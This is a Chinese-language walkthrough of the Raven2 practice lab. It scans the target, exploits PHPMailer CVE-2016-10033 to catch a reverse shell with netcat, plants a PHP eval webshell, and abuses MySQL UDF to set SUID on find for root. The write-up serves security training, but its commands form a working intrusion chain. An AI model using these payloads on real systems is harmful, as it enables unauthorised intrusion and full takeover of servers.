目录
环境:https://download.vulnhub.com/raven/Raven2.ova
一、UDF概述
当MYSQL权限比较高的时候我们就可以利用UDF提权。
UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)
UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。
文件后缀为.dll
或.so
,常用c语言编写。
UDF在MySQL5.1以后的版本,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’常用c语言编写。
MySQL5.1以上的版本,默认是没有plugin目录的,选择手动建立。
二、提权条件
其实这一步都无所谓,毕竟如果你操作系统提权失败,而恰巧目标使用的是MySQL,那孤注一掷吧。
如果MySQL也不行,什么方法都尝试了依旧无果,那只能请教一下红队大牛了(小的不行)
- MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能
- 掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数
- 拥有可以将udf.dll写入相应目录的权限。
三、漏洞复现
(一) 信息收集
1. Nmap信息收集
1.1、查看当前IP地址
┌──(root㉿hack)-[~]
└─# ifconfig eth0 | grep inet
inet 192.168.20.130 netmask 255.255.255.0 broadcast 192.168.20.255
inet6 fe80::823a:7455:6959:aac2 prefixlen 64 scopeid 0x20<link>
1.2、扫描当前网段,找出目标机器
┌──(root㉿hack)-[~]
└─# nmap -sP 192.168.20.0/24
/*
-s 指定扫描技术
-P ping操作
-sP 使用ping操作来寻找存活主机
*/
发现目标机为:192.168.20.137
1.3、快速扫描目标机全端口
┌──(root㉿hack)-[~]
└─# nmap -sS -p 1-65535 192.168.20.137
/*
-sS SYN扫描技术
-p 指定端口
*/
2. dirb目录扫描
┌──(root㉿hack)-[~]
└─# dirb http://192.168.20.137/
3. 第一个flag
3.1、目录遍历漏洞
通过目录访问探索发现:http://192.168.20.137/vendor/ 存在目录遍历漏洞。
3.2、flag
眼疾手快的点了一下PATH发现flag信息以及绝对路径
4. 敏感信息利用
发现一个README.md的说明文档,打开看看。
发现PHPMailer并且版本为5.2,上网查询发现公开漏洞。
(二) 漏洞利用
1. searchsploit工具搜索exp
这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。
如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!
别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。
searchsploit phpMailer #搜索关于phpMailer的exp
searchsploit -m php/webapps/40974.py #将exp保存到当前工作目录中
2. 更改exp中所需参数
vim /root/40974.py
target #修改为目标IP+端口
payload #反弹shell的地址修改为攻击机的IP地址
fields→email #修改为目标网址绝对路径(只要可以访问,放哪里都无所谓)
3. 运行exp并开启nc监听
┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
nc #nc是netcat的简写,工具命令。
-l #监听模式。使用此选项后,nc将会监听指定的端口。
-v #启用详细的输出模式。使用此选项后,nc将会显示更多的信息和日志。
-p 4444 #这是nc的另一个选项,表示指定监听的端口号。在这个例子中,指定的端口号是4444。
┌──(root㉿hack)-[~]
└─# python 40974.py
█████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗
██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝
██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗
██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║
╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝
PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com
Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski
[+] SeNdiNG eVIl SHeLL To TaRGeT....
[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D
[+] ExPLoITeD http://192.168.20.137/contact.php
4. 访问exp生成的用于反弹shell的php文件
使用浏览器访问:http://192.168.20.137/bug.php
转到终端1,可以看到,成功反弹shell成功。
┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.20.130] from bogon [192.168.20.137] 40254
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
5. 第二和三个flag
$ find / -name "flag*" 2>/dev/null
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt
这里用flag查询flag,发现只有2个,结合之前那一个,一共3个。
但是这个靶机中存在4个flag,用find没有查出来,猜测是有些目录是当前权限无法访问,所以没有查出来,我们下面开始进行提权操作。
(三) 蚁剑操作
1. 写入一句话木马
反正都是网站权限,写一个一句话木马,用蚁剑操作比较方便。
echo '<?php @eval($_REQUEST['bug']); ?>' > tu.php
2. 蚁剑连接
3. 查看配置信息
这篇文章的主题就是UDF提权,所以肯定是系统提权失败,才选择UDF提权、
信息收集看到网址框架是wordpress,所以我们直接选择去看它的配置文件。
在这个配置文件中看到了数据库账号和密码,并且数据库为MySQL
(四) 寻找exp
1. searchsploit工具搜索exp
这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。
如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!
别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。
searchsploit mysql UDF #搜索关于mysql UDF的exp
searchsploit -m linux/local/1518.c #将exp保存到当前工作目录中
2. ChatGPT解读EXP内容
(五) 提权操作
1. 编译.c文件为.so文件
┌──(root㉿hack)-[~]
└─# gcc -g -c 1518.c
┌──(root㉿hack)-[~]
└─# gcc -g -shared -o bug.so 1518.o -lc
将1518.c文件编译成.so文件
将C语言代码编译成.so文件(也称为共享对象文件)的作用是创建一个可供其他程序调用和链接的动态链接库。
这种动态链接库通常包含一组函数和符号,可以在运行时被其他程序加载和使用。
.so文件可以被不同的程序共享使用,这样可以避免代码的重复编写和维护。
它提供了一种灵活的方式来共享和重用代码,从而提高开发效率和代码复用性。
通常情况下,需要先将C语言代码编译为目标文件(.o文件),然后再将目标文件链接为共享库(.so文件)。
这是因为编译过程分为两个阶段:编译和链接。
编译阶段将源代码转换为目标文件,而链接阶段将目标文件与其他库文件进行连接,生成可执行文件或共享库。
2. 将bug.so文件传入目标机中
3. 连接数据库
4. 数据库操作
create table bug(line blob);
这条命令创建了一个名为"bug"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。
insert into bug values(load_file('/tmp/bug.so'));
这条命令将指定路径(/tmp/bug.so)下的文件内容以二进制形式插入到"bug"表的"line"列中。
这里假设该文件是一个共享库文件。
select * from bug into dumpfile '/usr/lib/mysql/plugin/bug.so';
这条命令从"bug"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/bug.so)
这里的目的是将"bug"表中的内容导出为一个共享库文件。
create function do_system returns integer soname 'bug.so';
这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。
该函数通过指定的共享库文件(bug.so)进行加载。
select do_system('chmod u+s /usr/bin/find');
这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。
这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。
5. 验证是否提权成功
(www-data:/tmp) $ touch tu
(www-data:/tmp) $ find tu -exec whoami \;
root
SUID权限:
它在执行过程中会临时获取文件所有者的权限,而不是执行它的用户的权限。
也就是说如果我执行了一个设置有SUID权限的文件,那么我在执行这个文件的权限就是root(含过程)。
find命令 #指定要搜索的文件或目录的路径
tu #文件
-exec #"-exec" 是 find 命令中的一个选项,用于在找到匹配的文件或目录后执行指定的命令。
whoami #在这个命令中,指定的命令是 "whoami",它用于显示当前用户的用户名。
\; #是一个用于告诉 find 命令 "-exec" 选项结束的标志。在这个命令中,它表示命令执行的结尾。
6. 第四个flag
(www-data:/tmp) $ find tu -exec find / -name "flag*" 2>/dev/null \;
(www-data:/tmp) $ find tu -exec cat /root/flag4.txt \;